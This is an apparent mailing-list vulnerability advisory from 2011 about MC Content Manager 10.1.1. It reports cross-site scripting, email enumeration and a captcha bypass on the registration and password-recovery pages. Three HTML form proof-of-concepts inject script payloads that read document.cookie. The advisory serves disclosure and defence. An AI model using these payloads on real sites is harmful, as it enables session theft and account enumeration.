MC Content Manager version 10.1.1 suffers from cross site scripting and anti-automation vulnerabilities.
4644cc1ed6452b391270820f4e24d169cabed711cb344aeca189074a44ebb61d
Hello list!
I want to warn you about Cross-Site Scripting, Abuse of Functionality and
Insufficient Anti-automation vulnerabilities in MC Content Manager. It's
Ukrainian commercial CMS.
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Affected products:
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Vulnerable are potentially all versions of MC Content Manager (MC Content
Manager v.10.1.1 and previous versions).
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Details:
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XSS (WASC-08):
Vulnerabilities are at registration and password recovery pages.
POC 1:
<form name="hack" action="http://site/?module=users" method="post">
<input type="hidden" name="module" value="users">
<input type="hidden" name="action" value="remind">
<input type="hidden" name="user_email" value='"><script>alert(document.cookie)</script>'>
</form>
POC 2:
<form name="hack" action="http://site/?module=users" method="post">
<input type="hidden" name="module" value="users">
<input type="hidden" name="action" value="register">
<input type="hidden" name="user_email" value='"><script>alert(document.cookie)</script>'>
</form>
POC 3:
<form name="hack" action="http://site/?module=users" method="post">
<input type="hidden" name="module" value="users">
<input type="hidden" name="action" value="register">
<input type="hidden" name="user_hide" value='"><script>alert(document.cookie)</script>'>
</form>
Abuse of Functionality (WASC-42):
http://site/users/register
http://site/users/remind
At registration and password recovery pages it's possible to enumerate
e-mails of the users (which are logins).
Insufficient Anti-automation (WASC-21):
http://site/users/register
http://site/users/remind
Even captcha is using at these pages, it's not needed to enter correct
captcha for enumeration of e-mails (logins) of the users.
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Timeline:
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2011.01.24 - announced at my site.
2011.01.25 - informed developers.
2011.01.25 - received response from developers.
2011.01.25 - gave additional recommendations for developers.
2011.03.22 - disclosed at my site.
I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/4869/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua